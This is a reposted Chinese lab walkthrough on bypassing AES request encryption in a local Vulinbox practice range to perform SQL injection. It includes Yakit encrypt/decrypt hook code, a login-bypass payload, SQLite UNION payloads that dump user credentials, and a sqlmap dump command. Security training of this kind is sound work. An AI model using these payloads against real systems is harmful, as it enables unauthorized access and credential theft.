渗透测试-前后端加密分析之AES加密下的SQL注入

news/2025/3/11 9:01:06/文章来源:https://www.cnblogs.com/CVE-Lemon/p/18622334

本文是高级前端加解密与验签实战的第9篇文章,也是最后一篇文章。本系列文章实验靶场为Yakit里自带的Vulinbox靶场,本文讲述的是绕过前后端加密进行SQL注入。

登录

输入账号密码,抓包查看数据包,看上去就是一个普通的aes加密:

这里热加载代码不算太难,常规的加解密函数就可以了:

encryptAES = (packet) => {body = poc.GetHTTPPacketBody(packet)// 生成随机key和ivkey =  randstr(16)iv = randstr(12)// 加密数据data = codec.AESCBCEncrypt(key /*type: []byte*/, body, iv /*type: []byte*/)~data = codec.EncodeBase64(data)// 获取key和iv的hex值hexKey = codec.EncodeToHex(key)hexIV = codec.EncodeToHex(iv)// 构造新的bodybody = f`{"key": "${hexKey}","iv": "${hexIV}","message": "${data}"}`return poc.ReplaceBody(packet, body, false)
}decryptAES = (packet) => {body = poc.GetHTTPPacketBody(packet)body = json.loads(body)key = codec.DecodeHex(body.key)~iv = codec.DecodeHex(body.iv)~data = codec.DecodeBase64(body.message)~data = codec.AESCBCDecrypt(key, data, iv)~return poc.ReplaceBody(packet, data, false)
}beforeRequest = func(req){return encryptAES(req)
}
afterRequest = func(rsp){return decryptAES(rsp)
}

请求体格式

{"username":"admin","password":"password"}

热加载加解密成功

本关提示是SQL注入,所以直接啪一个1=1,说时迟那时快,直接登陆成功

POST /crypto/sqli/aes-ecb/encrypt/login HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json{"username":"admin","password":"password'or 1=1--"}

注入

手工

登陆后看到请求了/crypto/sqli/aes-ecb/encrypt/query/users路径

解密一下请求包:

获取到请求的格式:

{"search":""}

这里是SQLite注入,注入的语句是通过这篇文章获取的:sqlite注入的一点总结 - 先知社区 (aliyun.com)

{"search":"user1'order by 3--"}
{"search":"user1'union select 1,2,3--"}
{"search":"user1'union select 11,22,sql from sqlite_master--"}
{"search":"user1'union select 11,22,sql from sqlite_master where type='table' and name='vulin_users'--"}
{"search":"user1'union select username,password,id from vulin_users--"}

注入成功:

POST /crypto/sqli/aes-ecb/encrypt/query/users HTTP/1.1
Host: 127.0.0.1:8787
Cookie: token=PLNqoZMZfiELLLFuTbmOtSrDdnpFmDDM
Content-Type: application/json
Content-Length: 119{"search":"user1'union select username,password,id from vulin_users--"}

sqlmap

在MITM处加载热加载代码

使用sqlmap注入

python .\sqlmap.py -r .\http.txt --proxy=http://127.0.0.1:8081 --batch -dbms=sqlite -T vulin_users -C username,password,role --dump

http.txt

POST /crypto/sqli/aes-ecb/encrypt/query/users HTTP/1.1
Host: 127.0.0.1:8787
Cookie: token=PLNqoZMZfiELLLFuTbmOtSrDdnpFmDDM
Content-Type: application/json
Content-Length: 119{"search":"*"}

效果:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/856889.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Transformers 框架 Pipeline 任务详解(五):表格问答(table-question-answering)

本文全面介绍了 Transformers 框架中的 table-question-answering 任务,从基础概念到实际应用,再到如何构建和部署一个交互式的表格问答系统。无论是在商业智能、教育辅导还是金融分析等领域,Transformers 框架都能为我们提供强有力的支持,助力我们快速实现高效的表格问答解…

WPF实现加载的动态效果

思路: 1.创建一个画布,长宽100*100;<Canvas Width="100" Height="100">2.画布上创建一个圆,直径25,位于正上方中间,底色浅灰;<Style TargetType="Ellipse"><Setter Property="Width" Value="25"/>…

Derby 数据库介绍(2)--使用

本文主要介绍 Derby 的基本使用(简介可参考:Derby 数据库介绍(1)--简介),文中所使用到的软件版本:Java 1.8.0_341、Derby 10.14.2.0。 1、嵌入模式 直接使用 JDBC 连接数据库,可创建和启动数据库。 1.1、内存数据库@Test public void embeddedMemory() throws SQLException …

视野修炼第114期 | 2024JS现状调查结果

① 2024 JavaScript 现状调查结果 ② Text Fragment - 直接链接网页文本 ③ my-github-2024 - 2024 GitHub 报告生成 ④ 优秀的单页网站案例 ⑤ Gradienty - 一套CSS工具集 ⑥ 并发和并行的区别 ⑦ AI 音效生成欢迎来到第 114 期的【视野修炼 - 技术周刊】,下面是本期的精选内…

线程池工作原理

线程池综述 它的主要特点为:线程复用;控制最大并发数;管理线程。 使用线程池的好处有 第一:降低资源消耗。通过重复利用已创建的线程,降低线程创建和销毁带来的资源消耗 第二:提高响应速度。当任务到达时,任务可以不需要等到线程创建好就可以立即执行。 第三:提高线程的…

探讨:为什么大公司一定要使用微服务?

探讨:为什么大公司一定要使用微服务? | Id | Title | DateAdded | SourceUrl | PostType | Body | BlogId | Description | DateUpdated | IsMarkdown | EntryName | CreatedTime | IsActive | AutoDesc | AccessPermission | | -------------| -------------| -------------…

实验6 模板类、文件I\O和异常处理

实验任务4#pragma once #include <iostream> #include <stdexcept>using namespace std;template <typename T> class Vector { public:Vector(int n, int value=0);Vector(Vector<T> &v);~Vector();int get_size() const;T& at(int i);T&…

千峰教育--Netty 再学习 1 网络模型概述(BIO、NIO、AIO)、BIO 逻辑实现及其局限性(单线程服务端、多线程服务端、线程池服务端)

课程介绍 1 网络模型概述 2 Channel 详解 3 Buffer 详解 4 Selector 详解 5 NIO综合案例-聊天室 6 AIO概念及实现 1 网络编程IO 模型介绍 1.1 BLockingIO Blocking IO也称BIO,及同步阻塞IO。Java 的 io 包基于流模型实现,提供了FIle,FileInputStream,FileOutputStream等输…

ZBlog升级之后出现后台登录错误

升级 1.7.3.3260 之后出现后台登录错误( 提示非法访问,验证码不显示,验证码报错 ) 这是因为 1.7.3.3260 增加了对后台登录的 2 个保护功能,因为主题插件的兼容性原因或其它原因造成功能不正常,可以在 option.php 里关掉 CSRF 保护功能或是验证码功能,或是 2 个都关闭 使…

织梦源码后台更新系统后,网页错乱的解决方法

覆盖模板文件下载之前使用的模板文件。 覆盖 templets/default 目录下的文件。 如果使用的是其他模板目录,确保更新不会影响到这些目录。扫码添加技术【解决问题】专注中小企业网站建设、网站安全12年。熟悉各种CMS,精通PHP+MYSQL、HTML5、CSS3、Javascript等。承接:企业仿站…

解决Dede织梦上传图片失败 ERROR:Copy Uploadfile Error! 提示

错误显示:拷贝(复制)上传文件出错! 原因:上传的文件损坏。 上传目录无写权限。解决方法:尝试上传其它图片。 给uploads写入权限:Linux服务器:通过FTP设置 uploads 目录为777权限,子文件夹选择继承。 Windows 2003服务器:右键文件夹属性 -> 安全 -> 添加账户 -&…

织梦CMS:Error:check Snooping out of bounds 的解决办法

Error:check Snooping out of bounds @ D:wwwrootgdhgcwwwrootkjempletsdefaultarticle_article.htm原因:路径中包含了大写字母,使用 strpos 操作时区分大小写。解决方法:打开 include/dedetag.class.php 文件。 找到第325行,修改为:if (stripos($path, $this->clean(D…